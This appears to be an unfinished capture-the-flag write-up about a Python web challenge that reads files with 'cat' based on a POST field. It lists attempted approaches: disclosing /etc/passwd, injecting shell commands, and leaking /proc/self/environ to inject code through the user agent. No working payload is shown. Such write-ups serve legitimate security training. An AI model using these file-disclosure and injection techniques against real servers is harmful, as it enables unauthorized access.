Description
UPDATE: We have made changes to this challenge to make it (somewhat) stable. If what you were trying before is not working, it's because it was causing a problem for us on the back end. I assure you that what you were doing was not the easiest solution, anyway.
We all love doggos and puppers. Have some more of one of our favorite puppers, Gabe. Bork.

Solution
TL;DR : Warning, this is an incomplete writeup, we didn't solve this challenge.
We can see the server is not an apache or nginx: Server: Werkzeug/0.11.11 Python/2.7.12
.
The dropdown menu is used to select a file (something.txt
). The server use cat
to read it en write its content into the src
attribute of a video balise.
So we will try to disclose some system files into this src
with the bork
POST attribute.
So let's see the behaviour with:

We thought that a logical way to solve the challenge was to display /etc/passwd
and then some file inside like flag.txt
or to inject commands like ls
but that didn't work.
Another way we thought was to leak /proc/self/environ
and them inject some code with user agent but there was not some HTTP_USER_AGENT
environment variable.
